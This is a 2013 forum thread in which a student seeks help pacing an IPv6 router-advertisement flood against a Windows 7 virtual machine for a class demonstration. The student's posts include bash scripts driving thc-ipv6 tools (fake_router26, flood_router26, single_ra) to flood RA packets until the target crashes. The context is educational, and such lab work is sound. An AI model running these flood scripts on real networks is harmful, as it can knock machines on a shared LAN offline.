Jump to content


Register a free account to unlock additional features at BleepingComputer.com
Welcome to BleepingComputer, a free community where people like yourself come together to discuss and learn how to use their computers. Using the site is easy and fun. As a guest, you can browse and view the various discussions in the forums, but can not create a new topic or reply to an existing one unless you are logged in. Other benefits of registering an account are subscribing to topics and forums, creating a blog, and having no ads shown anywhere on the site.

Click here to Register a free account now! or read our Welcome Guide to learn how to use this site.

Photo

Bash Script help needed .


  • Please log in to reply
6 replies to this topic

#1 keldron

keldron

  • Members
  • 57 posts
  • OFFLINE
  •  
  • Local time:08:21 PM

Posted 24 February 2013 - 01:31 AM

Hello .

 

I'm doing a small project for my class to show an ARP attack on windows 7 machine through an IPv6 tunnel . I got everything set up but the ARP packets are being sent way to fast and my teacher told me to write a bash script to slow them down ( mind you the class is not about programming and I have no programming background at all ) .

 

if you would like to contact my teacher to confirm it's ok to help us out on this project here is his e-mail and official website :

 

website : http://samsclass.info/ 

 

E-mail : [email protected]

 

The attack that we are trying to perform is found here : http://samsclass.info/ipv6/proj/RA_flood2.htm 

 

 

The attack will be performed on a virtual machine connected to the local network through an IPv6 tunnel ( it will not affect any other machine as our purpose is strictly educational ) . 

 

Sincerely ,

 

Michal Krasnopolski 

CNIT student at City College of San Francisco 

 

ps. this is the link to the class I am taking ---- http://samsclass.info/125/125_S13.shtml 



BC AdBot (Login to Remove)

 


#2 DarkSnake-Kobra

DarkSnake-Kobra

  • Members
  • 633 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:Iowa, USA
  • Local time:07:21 PM

Posted 25 February 2013 - 03:41 PM

I do not believe we can help you with homework. Most sites don't and it's best to contact your instructor or ask your classmates for any questions, advice etc.


Edited by DarkSnake-Kobra, 25 February 2013 - 03:43 PM.


#3 keldron

keldron
  • Topic Starter

  • Members
  • 57 posts
  • OFFLINE
  •  
  • Local time:08:21 PM

Posted 25 February 2013 - 04:44 PM

You are not helping me with the homework I guess I should be more clear the class is not about networking heck it doesn't have anything to do with networking the class is called CISSP and has literally nothing to do with networking or IPv6 attacks . The only and sole reason we are doing this attack is to show it to the class not as part of assignment but as part of education so that others can see that there is a flood attack on IPv6 . If you don't / can't help that's fine I'll find help elsewhere . 

 

Sincerely,

 

Michal Krasnopolski 

 

ps. I have the attack working as it is now but the packets are being sent to fast and I need a bash script to slow them down other then that the project is ready to be shown one way or another with or without the script .

 

 

ps2. here is the script I re-wrote ( modified the version I found on line at my teachers website )  do you think this will work ?

 

 

#!/bin/bash
#
#

if [ "$#" -ne 3 ]
then
echo "Usage: ./6shooter1.7 P d t"
echo " "
echo " P = Number of priming RA packets to send"
echo " Each RA has 1 prefix, 3 routes, and DNS"
echo " "
echo " d = Additional delay in seconds between timing and flood"
echo " "
echo " t = type: 0 = No DNS, 1 = With DNS, 2 = Only ::/0 Route & no DNS, 3 = 12 routes & DNS"
exit
fi

echo "Sending priming packets"

for i in `seq 1 $1`; do
if [ "$3" -eq 0 ]
then
CMD="fake_router26 -A $i::/64 -R ::/0 -R 2000::/3 -R fc00::/7 -n 1 eth0"
fi

if [ "$3" -eq 1 ]
then
CMD="fake_router26 -A $i::/64 -R ::/0 -R 2000::/3 -R fc00::/7 -D ff02::fb -n 1 eth0"
fi

if [ "$3" -eq 2 ]
then
CMD="fake_router26 -A $i::/64 -R ::/0 -n 1 eth0"
fi

if [ "$3" -eq 3 ]
then
CMD="fake_router26 -A $i::/64 -R ::/0 -R 2000::/3 -R fc00::/7 -R 2000::/4 -R2000::/5 -R 2000::/6 -R 2000::/7 -R2000::/8 -R 2000::/9 -R 2000::/10 -R 2000::/11 -R 2000::/12 -D ff02::fb -n 1 eth0"
fi

echo "$CMD"
$CMD
done

echo "waiting $2 seconds"
sleep $2

echo "starting flood"

./flood_router26 eth0



#4 groovicus

groovicus

  • Moderator
  • 9,963 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:Centerville, SD
  • Local time:07:21 PM

Posted 26 February 2013 - 12:00 PM


 

As soon as we see a question related to a classroom setting,
we automatically assume that you are going to somehow be graded for your
project, and thus it is not fair to your classmates if we help. Sometimes legitimate
questions get caught up, but most of the time we get questions like this “Can
you write this code for me”, or “OMFG, my assignment is due tomorrow. Plz hlp”.



What they also never do is provide any code that shows
that they are actually working at the project on their own. And I almost always
Google source code to see if the person actually wrote the code, or just
grabbed it verbatim from a random website. No effort = no help.


 

Thank you for providing some code. You never told us what the
result is of packets being sent too quickly, what you are expecting to happen,
or what you are trying to demonstrate exactly. Once we know what you want, then
we can offer advice. Right now, we don’t have much to go on. I could wager a
guess that you are looking for the ‘sleep’ command to create a pause between
packet deliveries, but I have no idea what you want to do, so it is just that,
a guess.



 



#5 keldron

keldron
  • Topic Starter

  • Members
  • 57 posts
  • OFFLINE
  •  
  • Local time:08:21 PM

Posted 05 March 2013 - 11:25 AM

Hey there .

 

What I need to do is be able to control the packet flow ( speed it up or slow it down ) to demonstrate to the rest of the class the IPv6 attack which can ultimately crash the machine due to the RA packets overflow . 

 

The reason why I need the script to be able top do both is so I can show that the packets are being sent ( the slow part of the script will slow down the packets enough for us be able to show it to the students ) and to speed it up so that it crashes the machine .



#6 keldron

keldron
  • Topic Starter

  • Members
  • 57 posts
  • OFFLINE
  •  
  • Local time:08:21 PM

Posted 05 March 2013 - 11:34 AM

I did some digging and I think this might work also I want to use thc-ipv6 attack toolkit to perform the attack .

 

#!/bin/bash 

for i in {1..100} 
do 
      for j in $(eval echo {1..$1}) 
      do 
           ./single_ra eth0 "4:$i:$j::/64" 
      done 
      echo "Sent $1 RAs for network 4:$i" 
      sleep 1 
done



#7 keldron

keldron
  • Topic Starter

  • Members
  • 57 posts
  • OFFLINE
  •  
  • Local time:08:21 PM

Posted 29 March 2013 - 12:19 PM

Well I got it to work after digging through some guides / forums on the internet . Being that linux is not my strong suit it took me longer then I anticipated but hey I did it . I will also make a youtube video of the attack for EDUCATIONAL purposes only so that you guys can see the attack happening in real time :)

 

Cheers ,

 

Keldron 

 

ps . link to the video will be provided soon 


Edited by keldron, 29 March 2013 - 12:19 PM.





0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users